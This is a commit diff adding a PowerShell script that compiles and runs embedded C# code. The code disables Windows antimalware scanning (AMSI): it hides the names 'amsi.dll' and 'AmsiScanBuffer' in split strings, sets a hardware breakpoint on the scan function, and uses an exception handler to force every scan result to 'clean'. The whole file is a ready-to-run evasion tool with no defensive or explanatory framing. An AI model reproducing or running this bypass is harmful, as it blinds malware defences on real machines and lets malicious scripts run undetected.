Create Hard

test/Hard

@@ -0,0 +1,291 @@
+$Hard = @"
+
+using System;
+using System.Collections.Generic;
+using System.Linq.Expressions;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Net;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace Test
+{
+   
+    public class Program
+    {
+        static string a = "msi";
+        static string b = "anB";
+        static string c = "ff";
+        static IntPtr BaseAddress = WinAPI.LoadLibrary("a" + a + ".dll");
+        static IntPtr pABuF = WinAPI.GetProcAddress(BaseAddress, "A" + a + "Sc" + b + "u" + c + "er");
+        static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
+        
+        public static void SetupBypass()
+        {
+
+            WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
+            ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
+
+            MethodInfo method = typeof(Program).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
+            IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
+            
+            // Saving our context to a struct
+            Marshal.StructureToPtr(ctx, pCtx, true);
+            bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
+            ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));
+
+            EnableBreakpoint(ctx, pABuF, 0);
+
+            WinAPI.SetThreadContext((IntPtr)(-2), pCtx);
+
+        }
+        
+        public static long Handler(IntPtr exceptions)
+        {
+            WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
+            ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
+
+            WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
+            ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
+
+            WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
+            ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));
+
+            if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
+            {
+                ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
+
+                // THE OUTPUT AMSIRESULT IS A POINTER, NOT THE EXPLICIT VALUE AAAAAAAAAA
+                IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); // 5th arg, swap it to clean
+                //Console.WriteLine("Buffer: 0x{0:X}", (long)ContextRecord.R8);
+                //Console.WriteLine("Scan Result: 0x{0:X}", Marshal.ReadInt32(ScanResult));
+
+                Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);
+
+                ContextRecord.Rip = ReturnAddress;
+                ContextRecord.Rsp += 8;
+                ContextRecord.Rax = 0; // S_OK
+                
+                Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
+                return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
+            }
+            else
+            {
+                return WinAPI.EXCEPTION_CONTINUE_SEARCH;
+            }
+
+        }
+        public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
+        {
+
+            switch (index)
+            {
+                case 0:
+                    ctx.Dr0 = (ulong)address.ToInt64();
+                    break;
+                case 1:
+                    ctx.Dr1 = (ulong)address.ToInt64();
+                    break;
+                case 2:
+                    ctx.Dr2 = (ulong)address.ToInt64();
+                    break;
+                case 3:
+                    ctx.Dr3 = (ulong)address.ToInt64();
+                    break;
+            }
+
+
+            ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
+
+
+            ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
+            ctx.Dr6 = 0;
+
+            // Now copy the changed ctx into the original struct
+            Marshal.StructureToPtr(ctx, pCtx, true);
+        }
+        public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
+        {
+            ulong mask = (1UL << bits) - 1UL;
+            dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
+            return dw;
+        }
+    }
+    public class WinAPI
+    {
+        public const UInt32 DBG_CONTINUE = 0x00010002;
+        public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
+        public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
+        public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
+        public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
+        public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
+        public const Int32 EXCEPTION_DEBUG_EVENT = 1;
+        public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
+        public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
+        public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
+        public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
+        public const Int32 RIP_EVENT = 9;
+        public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
+
+        public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
+        public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
+        public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
+        public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
+        public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
+        public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
+        public const UInt32 DBG_CONTROL_C = 0x40010006;
+        public const UInt32 DEBUG_PROCESS = 0x00000001;
+        public const UInt32 CREATE_SUSPENDED = 0x00000004;
+        public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
+
+        public const Int32 AMSI_RESULT_CLEAN = 0;
+
+        [DllImport("kernel32.dll", SetLastError = true)]
+        public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
+        [DllImport("kernel32.dll", SetLastError = true)]
+        public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
+        [DllImport("kernel32.dll", SetLastError = true)]
+        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
+        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
+
+        [DllImport("Kernel32.dll")]
+        public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
+        [Flags]
+        public enum CONTEXT64_FLAGS : uint
+        {
+            CONTEXT64_AMD64 = 0x100000,
+            CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
+            CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
+            CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
+            CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
+            CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
+            CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
+            CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
+        }
+        [StructLayout(LayoutKind.Sequential)]
+        public struct M128A
+        {
+            public ulong High;
+            public long Low;
+
+            public override string ToString()
+            {
+                return string.Format("High:{0}, Low:{1}", this.High, this.Low);
+            }
+        }
+
+        [StructLayout(LayoutKind.Sequential, Pack = 16)]
+        public struct XSAVE_FORMAT64
+        {
+            public ushort ControlWord;
+            public ushort StatusWord;
+            public byte TagWord;
+            public byte Reserved1;
+            public ushort ErrorOpcode;
+            public uint ErrorOffset;
+            public ushort ErrorSelector;
+            public ushort Reserved2;
+            public uint DataOffset;
+            public ushort DataSelector;
+            public ushort Reserved3;
+            public uint MxCsr;
+            public uint MxCsr_Mask;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
+            public M128A[] FloatRegisters;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
+            public M128A[] XmmRegisters;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
+            public byte[] Reserved4;
+        }
+
+        /// <summary>
+        /// x64
+        /// </summary>
+        [StructLayout(LayoutKind.Sequential, Pack = 16)]
+        public struct CONTEXT64
+        {
+            public ulong P1Home;
+            public ulong P2Home;
+            public ulong P3Home;
+            public ulong P4Home;
+            public ulong P5Home;
+            public ulong P6Home;
+
+            public CONTEXT64_FLAGS ContextFlags;
+            public uint MxCsr;
+
+            public ushort SegCs;
+            public ushort SegDs;
+            public ushort SegEs;
+            public ushort SegFs;
+            public ushort SegGs;
+            public ushort SegSs;
+            public uint EFlags;
+
+            public ulong Dr0;
+            public ulong Dr1;
+            public ulong Dr2;
+            public ulong Dr3;
+            public ulong Dr6;
+            public ulong Dr7;
+
+            public ulong Rax;
+            public ulong Rcx;
+            public ulong Rdx;
+            public ulong Rbx;
+            public ulong Rsp;
+            public ulong Rbp;
+            public ulong Rsi;
+            public ulong Rdi;
+            public ulong R8;
+            public ulong R9;
+            public ulong R10;
+            public ulong R11;
+            public ulong R12;
+            public ulong R13;
+            public ulong R14;
+            public ulong R15;
+            public ulong Rip;
+
+            public XSAVE_FORMAT64 DUMMYUNIONNAME;
+
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
+            public M128A[] VectorRegister;
+            public ulong VectorControl;
+
+            public ulong DebugControl;
+            public ulong LastBranchToRip;
+            public ulong LastBranchFromRip;
+            public ulong LastExceptionToRip;
+            public ulong LastExceptionFromRip;
+        }
+        [StructLayout(LayoutKind.Sequential)]
+        public struct EXCEPTION_RECORD
+        {
+            public uint ExceptionCode;
+            public uint ExceptionFlags;
+            public IntPtr ExceptionRecord;
+            public IntPtr ExceptionAddress;
+            public uint NumberParameters;
+            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
+        }
+        [StructLayout(LayoutKind.Sequential)]
+        public struct EXCEPTION_POINTERS
+        {
+            public IntPtr pExceptionRecord;
+            public IntPtr pContextRecord;
+        }
+    }
+}
+
+
+"@
+
+Add-Type -TypeDefinition $Hard
+
+[Test.Program]::SetupBypass()